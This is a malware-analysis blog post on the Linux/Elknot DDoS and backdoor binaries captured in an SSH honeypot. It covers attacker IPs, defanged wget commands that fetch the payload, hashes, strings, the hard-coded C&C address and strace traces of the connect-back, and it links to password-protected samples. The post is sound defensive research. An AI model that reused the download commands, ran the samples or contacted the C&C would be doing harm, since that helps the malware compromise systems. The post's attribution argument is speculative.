MMD-0021-2014 - Linux/Elknot: China's ELF DDoS+backdoor

Our friend was capturing this "attacker" in his trap (thank's wirehack7), and I found it interesting + attempted to make a video to analyze its binary and to write it down in this post.

The attacker's information

We did not release the source information of the attacker before since we wanted to be sure about the source IP. Now we are sure and having some evidence about this, hence a disclosure: The attacker was coming from China network IP: 182.86.60.105 connection (with the below details)

via SSH protocol to our trap, with afterward downloading the ELF malware directly from 222.76.210.140 via "wget" which is also is in China IP address as per shown below, in a Chinese web server (called: HFS):

And then we know that the malware is trying to connect back to that China IP: 222.76.210.140 as per hard coded in the binary. Later on, we suggest this attack is highly suspected originated from China, by Chinese actor(s), for whatever malicious purpose they after, and I think you should know about this case too.

The URL used to download the malware is as per masked below:

wget h00p:// 222.76 .210.140:81/xx64
wget h00p:// 222.76 .210.140:81/xx32
Which was served under "HFS" (Chinese Web Server) that is currently up as per below sigs:
---response begin---
HTTP/1.1 404 隆孀欺
Content-Type: text/html
Accept-Ranges: bytes
Server: HFS 2.3 beta
Now the malware "looks" removed from the server. If you see the meaning of "隆孀欺" is an interesting meaning (try to Google translate it is fun).

For me it's likely not a coincidence (like a hack cases) to see a root directory of a web service under unusual port number (81) and serving a malicious set of tools. Thank's to the good setting of the "trap", so we got all installation attempt recorded as I remade in following video and additionally, samples! :-)

As you can see in the video above, the file was successfully downloaded. The "attacker tried to download xx32 binary and failed at the beginning of the session and continuing download xx64, a 64 architecture binary, which he is not successfully running it (smile), and he tried to download the xx32 binary afterwards, which also fail to start (no comment about this).

So we have the two new binaries downloaded with the generosity of the attacker and it was uploaded in the Virus Total as per below links:

The xx32, link is here-->>[VirusTotal]

SHA256: c9430a0b8bdbb92918da25d41d33d9b1c72d0224ea5793a0e1fc2083184f3a32
File name: 20140511130222_http___222_76_210_140_81_xx32
Detection ratio: 7 / 52
Analysis date: 2014-05-11 16:48:40 UTC
( "20 hours", 30 minutes ago )
Avast ELF:Farfli-B [Trj] 20140511
CAT-QuickHeal Linux.Elknot.E5f 20140510
DrWeb Linux.DDoS.1 20140511
ESET-NOD32 Linux/Agent.H 20140511
Ikarus DoS.Linux.Elknot 20140511
Kaspersky Backdoor.Linux.Mayday.f 20140511
Microsoft DoS:Linux/Elknot.E 20140511

The xx64, link is here-->>[VirusTotal]

SHA256: 3f3fcfdbb211d79d18c386afa973f1182977120a1c61f774105fa9326c4192ce
File name: 20140511130124_http___222_76_210_140_81_xx64
Detection ratio: "3 / 44"
Analysis date: 2014-05-11 16:41:29 UTC
( "20 hours", 38 minutes ago )
Avast ELF:Elknot-M [Trj] 20140511
CAT-QuickHeal Linux.Elknot.E61 20140510
Microsoft DoS:Linux/Elknot.E 20140511
For the further details, I share my analysis as per written in sections to come.

Binary Analysis

Snipping NIX hd command I can see the both files are ELF, in 32 and 64 bit form,

00000000  7f 45 4c 46 01 01 01 00  00 00 00 00 00 00 00 00  |.ELF............|
00000010 02 00 03 00 01 00 00 00 10 81 04 08 34 00 00 00 |............4...|
00000020 1c 0a 10 00 00 00 00 00 34 00 20 00 05 00 28 00 |........4. ...(.|
..and when firing NIX file the summary of the binary is clearly reported, I picked the 32 bit one, is self explanatory..:
xx32: ELF 32-bit LSB executable, 
Intel 80386, version 1 (SYSV),
statically linked, for GNU/Linux 2.2.5, not stripped
for the reversing purpose I need more information, so I use my elf reader script to get some pointers like this header parts:
  Data:                              2's complement, little endian
Entry point address: 0x8048110
Start of program headers: 52 (bytes into file)
Start of section headers: 1051164 (bytes into file)
Flags: 0x0
Size of this header: 52 (bytes)
Size of program headers: 32 (bytes)
Number of program headers: 5
Size of section headers: 40 (bytes)
Number of section headers: 27
Section header string table index: 24
To analyze the binary, the below information also I retrieved beforehand, like what program headers used:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
LOAD 0x000000 0x08048000 0x08048000 0xfd571 0xfd571 R E 0x1000
LOAD 0x0fd574 0x08146574 0x08146574 0x02414 0x4b160 RW 0x1000
NOTE 0x0000d4 0x080480d4 0x080480d4 0x00020 0x00020 R 0x4
TLS 0x0fd574 0x08146574 0x08146574 0x00000 0x00008 R 0x4
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4
Below is the segment sections:
  Segment | Sections...
00 .init .text __libc_freeres_fn __libc_thread_freeres_fn .fini .rodata __libc_subfreeres __libc_atexit __libc_thread_subfreeres .eh_frame .gcc_except_table .note.ABI-tag
01 .ctors .dtors .jcr .data.rel.ro .got .got.plt .data .bss __libc_freeres_ptrs
02 .note.ABI-tag
03 .tbss
Noted there are some un-named sections..

What this binary "doesn't have" is actually very important for further analysis, like the below data:

No dynamic section in this file.
No section groups in this file.
No relocations in this file.
No unwind sections in this file.
No version information found in this file.
Interestingly, I noticed at the offset 0x000000d4 with length 0x00000020 it contains the below data..
  Owner  Data size Description
"GNU" 0x00000010 "NT_VERSION" (version)
OMG, so we have a GNU Linux ELF with NT_VERSION here :-D

The "Symbols", is in the so-called .symtab' sections and contains 5963 entries (wow!), too long to paste here so I use pastebin here-->[MMD Pastebin].
The malware binary sample has huge unstripped strings, so I dare not uploading them all to pastebin because is just too big, but always be noted all of the below strings used for networking (name solving/DNS), which, in my opinion, the last part is showing the traces of libnss traces:

0x00E3305   0x00E3305   LOCALDOMAIN
0x00E3311 0x00E3311 /etc/resolv.conf
0x00E3322 0x00E3322 domain
0x00E3329 0x00E3329 search
0x00E3330 0x00E3330 nameserver
0x00E333B 0x00E333B sortlist
0x00E3344 0x00E3344 options
0x00E334C 0x00E334C RES_OPTIONS
0x00E3361 0x00E3361 multi
0x00E3367 0x00E3367 nospoof
0x00E336F 0x00E336F spoofalert
0x00E337A 0x00E337A reorder
0x00E338F 0x00E338F nowarn
0x00E3396 0x00E3396 RESOLV_HOST_CONF
0x00E33A7 0x00E33A7 RESOLV_SERV_ORDER
0x00E33B9 0x00E33B9 RESOLV_SPOOF_CHECK
0x00E33CC 0x00E33CC RESOLV_MULTI
0x00E33D9 0x00E33D9 RESOLV_REORDER
0x00E33E8 0x00E33E8 RESOLV_ADD_TRIM_DOMAINS
0x00E3400 0x00E3400 RESOLV_OVERRIDE_TRIM_DOMAINS
0x00E341D 0x00E341D /etc/host.conf
0x00E342C 0x00E342C %s: line %d: expected service, found
0x00E3458 0x00E3458 %s: line %d: list delimiter not followed by keyword
0x00E348C 0x00E348C %s: line %d: cannot specify more than %d services
0x00E34C0 0x00E34C0 %s: line %d: cannot specify more than %d trim domains
0x00E34F8 0x00E34F8 %s: line %d: list delimiter not followed by domain
0x00E352C 0x00E352C %s: line %d: expected
0x00E3543 0x00E3543 on' or '
0x00E354B 0x00E354B off', found
0x00E3560 0x00E3560 %s: line %d: bad command
0x00E3580 0x00E3580 %s: line %d: ignoring trailing garbage
0x00E35BC 0x00E35BC aliases
0x00E35C4 0x00E35C4 ethers
0x00E35CB 0x00E35CB netgroup
0x00E35D4 0x00E35D4 networks
0x00E35DD 0x00E35DD passwd
0x00E35E4 0x00E35E4 protocols
0x00E35EE 0x00E35EE publickey
0x00E35FC 0x00E35FC services
0x00E3605 0x00E3605 shadow
0x00E360C 0x00E360C illegal status in __nss_next
0x00E3629 0x00E3629 NOTFOUND
0x00E3632 0x00E3632 TRYAGAIN
0x00E363B 0x00E363B CONTINUE
0x00E3644 0x00E3644 SUCCESS
0x00E364C 0x00E364C UNAVAIL
0x00E3654 0x00E3654 RETURN
0x00E365B 0x00E365B /etc/nsswitch.conf
0x00E366E 0x00E366E nis [NOTFOUND=return] files
0x00E368A 0x00E368A dns [!UNAVAIL=return] files

Thinking that I might get lucky since the binary is unstripped so I search for the source code used to build this "tool" and grabbed the filename as per below:

 Fake.cpp
Global.cpp
main.cpp
Manager.cpp
ServerIP.cpp
StatBase.cpp
ThreadAttack.cpp
ThreadHostStatus.cpp
ThreadTaskManager.cpp
ThreadTimer.cpp
AutoLock.cpp
FileOp.cpp
Log.cpp
Md5.cpp
Media.cpp
NetBase.cpp
ThreadCondition.cpp
Thread.cpp
ThreadMutex.cpp
Utility.cpp
Fake.cpp
Global.cpp
main.cpp
Manager.cpp
ServerIP.cpp
StatBase.cpp
ThreadAttack.cpp
ThreadHostStatus.cpp
ThreadTaskManager.cpp
ThreadTimer.cpp
AutoLock.cpp
FileOp.cpp
Log.cpp
Md5.cpp
Media.cpp
NetBase.cpp
ThreadCondition.cpp
Thread.cpp
ThreadMutex.cpp
Utility.cpp
Since the binary is staticlaly compiled and not dynamically linked to any library, we can see some original functions coded inside of this malware, which also explained the big size in codes.

Seeking further, I found the compilation environment used:

GCC: (GNU) 3.4.6 20060404 (Red Hat 3.4.6-10)
And, as the bonus, the CNC IP address in hard coded, yaay! :-D
0x00CCC31   0x00CCC31   "222.76.210.140"

Reversing & Trailing the assembly reversed

By seeing the cpp file names and the symbols used (see above section), half of mistery was actually "almost" solved and this file is definitely malicious. But to be sure, it's nice to trail it down in reversing mode, by any tools..anything will do, to confirm its maliciousness. Right about doing it, I got the advise that it would be nice also to make reversing video for others to learn, so I choosed IDA for this purpose because is "animated" and comprehensive :-).

In the file listed above there is the main.cpp which is suggesting me that main() function is a good place to start. You can see the video below, but noted: this is not the very details reversing (I can't make long video anyway) and is for the summary purpose, so I skim the flow in understandable way to get the whole idea. Please feel free do it yourself for getting your preferable result and focus:

As you see in the trailing the reversed code above that it grabs the environmental information (gethostname was called many times & so does open of system info files) during initiation, some networking to start operation, and then trying to establish connection to the remote IP address, to the hard coded IP address and some to the "targeted" hosts.. By the way, the hard coded IP address is the same IP where this malware was downloaded, the 222.76.210.140.

Then we see this malware is demonized, listening to the socket, looping for continuing to connect operation is detected. And also reading and writing the an INI file (which they malcoder called this as "fake config" for some reason..). We can see some aggressive calls to perform the "attack" by allocating a form of data from the buffer in there. Also can be seen the function to encode the data which suggesting the CNC communication is in encrypted mode, as per shown in video, the usage the xor key used can be "utilised" to decrypt ones, had no chance to try it yet though..

Last one, the usage of some functions in libnss is suggesting the pairing in encryption, and so on.. Additionaly you'll see many interesting detail functions was used too. These functions was made so detail to run the binary as standalone purpose.

It is indeed interesting! So I was attempted further debug and make another video for debugging! Never did this before.. I hope to see the CNC communication & the effort to attack :-), please see next section.

Behavior and Network Analysis

As you see in the above sections, we know how the binary is formed and summary of the malicious operations observed in reversing, so now how does it actual current work?

Shortly, I dare myself to make video of behavior analysis I tested too :-) with the details that I will explain further, see the below:

Maybe you can not see it well in the flash where debug and running this, so let me explain also as following: The host information was grabbed by the system calls "uname()" together with the networking information (hosts, resolve.conf,etc..).

execve("./xx32", ["./xx32"], [/* 21 vars */]) = 0
uname({sys="Linux", node="xxx.xxx.xxx", ...}) = 0
getpid() = 13441
open("/proc/cpuinfo", O_RDONLY) = 3
read(3, "processor\t: 0\nvendor_id\t: Genuin"..., 1024) = 375
open("/proc/stat", O_RDONLY) = 3
read(3, "cpu 144019 163 172448 286301101"..., 1024) = 694
open("/proc/net/dev", O_RDONLY) = 3
read(3, "Inter-| Receive "..., 1024) = 575
readlink("/proc/13441/exe", "/xx/xx/xx/xx32", 1024) = 38
open("/etc/resolv.conf", O_RDONLY) = 3
read(3, "search aaa.aaa.aaa b.b.b.b"..., 4096) = 156
open("/etc/host.conf", O_RDONLY) = 3
Usage of libnss..with the below trace:
read(3, "#\n# /etc/nsswitch.conf\n#\n# An ex"..., 4096) = 1623
open("/lib/libnss_files.so.2", O_RDONLY) = 3
open("/lib/tls/libc.so.6", O_RDONLY) = 3
And loading the system command overriding API..
open("/etc/ld.so.cache", O_RDONLY)      = 3
open("/lib/ld-linux.so.2", O_RDONLY) = 3
Deleting the INI file if exist and creating new one:
unlink("/xx/xx/xx/xx32\\xmit.ini") = -1 ENOENT (No such file or directory)
open("/xx/xx/xx/xx32\\xmit.ini", O_RDWR|O_CREAT|O_TRUNC, 0666) = 3
fstat64(3, {st_mode=S_IFREG|0664, st_size=0, ...}) = 0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7bc7000
write(3, "0\r\n127.0.0.1:127.0.0.1\r\n10000:60"..., 49) = 49
close(3) = 0
After spartan efforts (noted the "s") to write the INI files:
rt_sigprocmask(SIG_SETMASK, NULL, [RTMIN], 8) = 0
write(4, "\340r\24\10\0\0\0\0(\224\375\10\16\220\5\10 \224\375\10\0\0\0\200\0\0\0\0T\212\24\10"..., 148) = 148
rt_sigprocmask(SIG_SETMASK, NULL, [RTMIN], 8) = 0
rt_sigsuspend([]
--- SIGRTMIN (Unknown signal 32) @ 0 (0) ---
<... rt_sigsuspend resumed> ) = -1 EINTR (Interrupted system call)
sigreturn() = ? (mask now [RTMIN])
It tried to connect to the hard coded IP address mentioned.
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 5
setsockopt(5, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0
setsockopt(5, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0
fcntl64(5, F_GETFL) = 0x2 (flags O_RDWR)
fcntl64(5, F_SETFL, O_RDWR|O_NONBLOCK) = 0
connect(5, {sa_family=AF_INET, sin_port=htons(6009),
sin_addr=inet_addr("222.76.210.140")}, 16) = -1 EINPROGRESS (Operation now in progress)
As you can see the snapshot of the PCAP taken....

.. the CNC was refusing the TCP handshake connection (RST,ACK). In debug codes is as per below:
setsockopt(5, SOL_SOCKET, SO_SNDBUF, [0], 4) = 0
setsockopt(5, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0
setsockopt(5, SOL_SOCKET, SO_SNDTIMEO, "\17\0\0\0\0\0\0\0", 8) = 0
send(5, "!\3\0\0\0\177\0\0\1\177\0\0\1\20\'`\352\0\0\0\0\0\0\0\0\0\0\0\0\0Li"..., 414, 0) = -1 ECONNREFUSED (Connection refused)
close(5) = 0
nanosleep({15, 0},
The malware, as per predicted in reversing part, is running as loop to keep on trying connecting to the mother host (after sleeps 15 secs..assuming to reset the connection), and it is now still running in my testbed with hoping to connect and see what will happen ;-)) I really look forward to gain connection it to the China IP's CNC to PoC the remote DoS attack functions stated in the writing above.

Samples

For they who want to try to test or researching this malware, you can download it here-->>[MediaFire] with the usual password. :D

Moral of the story

Linux reversing is actually fun, open source provides many good tools to disassembly and debugging any executables or libraries, do not hesitate to do it by your self!
Please take a good care of your SSH and FTP services friends! See the advice I wrote some tuning tips for sshd in the video above.
The last point is, block 182.86.60.105 and 222.76.210.140, these IP addresses are not good ones, please help yourself by exclude any access from these. You won't need to access these IPs anyway :-D

You tell me, who the attacker is, IF↓:

(1) The SSH attacker IP address is from China,
(2) He downloaded from "next" China IP for malware in a China from...
(3) ..an original China made web server (HFS) runs in specific port (81) from its root directory and..
(4) if you run the malware, it'll back-connect to same China IP..
(5) ..And that IP address is hard coded in the binary!

Recent Updates of this threat

This threat is agressively improving its variant with the encryption, hiding their CNC IP address, changing CNC to non 80 port numbers, new DDoS functions, and starting to aim USA servers as their CNC instead the initial China servers they used to do. With the same MO of using HFS. Below are some tweets following their changes:

#MalwareMustDie!